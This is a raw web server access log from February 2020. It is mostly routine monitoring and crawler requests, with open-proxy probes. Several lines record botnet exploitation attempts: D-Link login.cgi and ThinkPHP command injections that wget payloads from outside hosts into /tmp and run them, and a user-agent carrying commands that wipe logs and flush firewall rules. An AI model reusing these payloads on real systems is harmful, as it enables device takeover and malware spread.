212.91.246.72 - - [26/Feb/2020:17:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.62.182.24 - - [26/Feb/2020:17:29:35 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [26/Feb/2020:17:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.210.196.97 - - [26/Feb/2020:17:30:47 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.97 - - [26/Feb/2020:17:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [26/Feb/2020:17:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.143.94 - - [26/Feb/2020:17:37:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:17:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.122.111.20 - - [26/Feb/2020:17:39:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:17:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.20.153.45 - - [26/Feb/2020:17:43:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:17:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:17:45:29 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:17:45:29 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:17:45:30 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:17:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:17:46:23 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
175.143.82.153 - - [26/Feb/2020:17:46:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:17:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.123.32.92 - - [26/Feb/2020:17:48:30 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [26/Feb/2020:17:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.40 - - [26/Feb/2020:17:50:22 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [26/Feb/2020:17:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:17:52:28 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:17:52:30 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:17:53:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:17:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:17:54:26 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.214.99 - - [26/Feb/2020:17:56:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [26/Feb/2020:17:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:17:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.164.72.238 - - [26/Feb/2020:17:58:06 +0100] "GET /smpp/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.148.253.51 - - [26/Feb/2020:17:59:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.173.78.221 - - [26/Feb/2020:17:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:17:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.149.98.75 - - [26/Feb/2020:18:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:02:55 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
121.57.15.29 - - [26/Feb/2020:18:03:10 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
212.91.246.72 - - [26/Feb/2020:18:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.13.7.204 - - [26/Feb/2020:18:05:26 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.160.236.73 - - [26/Feb/2020:18:05:27 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
219.140.117.159 - - [26/Feb/2020:18:05:27 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.124 - - [26/Feb/2020:18:05:29 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.1.47 - - [26/Feb/2020:18:05:31 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.90.50.229 - - [26/Feb/2020:18:05:32 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.200.159.156 - - [26/Feb/2020:18:05:34 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.80.139.93 - - [26/Feb/2020:18:05:34 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.75.15 - - [26/Feb/2020:18:05:35 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.66.97.145 - - [26/Feb/2020:18:05:35 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.186.19.221 - - [26/Feb/2020:18:05:36 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [26/Feb/2020:18:06:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.200.161.176 - - [26/Feb/2020:18:09:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
103.69.217.40 - - [26/Feb/2020:18:10:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:18:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.82.97.109 - - [26/Feb/2020:18:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:18:17:15 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:18:17:15 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:18:17:19 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:18:18 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:19:45 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:20:03 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [26/Feb/2020:18:23:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:18:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:24:07 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.162.75.95 - - [26/Feb/2020:18:25:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
222.186.19.221 - - [26/Feb/2020:18:25:33 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.244.192.211 - - [26/Feb/2020:18:29:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:32:21 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:18:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [26/Feb/2020:18:34:35 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
94.243.18.205 - - [26/Feb/2020:18:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.151.21 - - [26/Feb/2020:18:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.235.193.127 - - [26/Feb/2020:18:48:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.68.246.198 - - [26/Feb/2020:18:49:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [26/Feb/2020:18:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [26/Feb/2020:18:50:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [26/Feb/2020:18:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.59.220 - - [26/Feb/2020:18:56:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:18:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
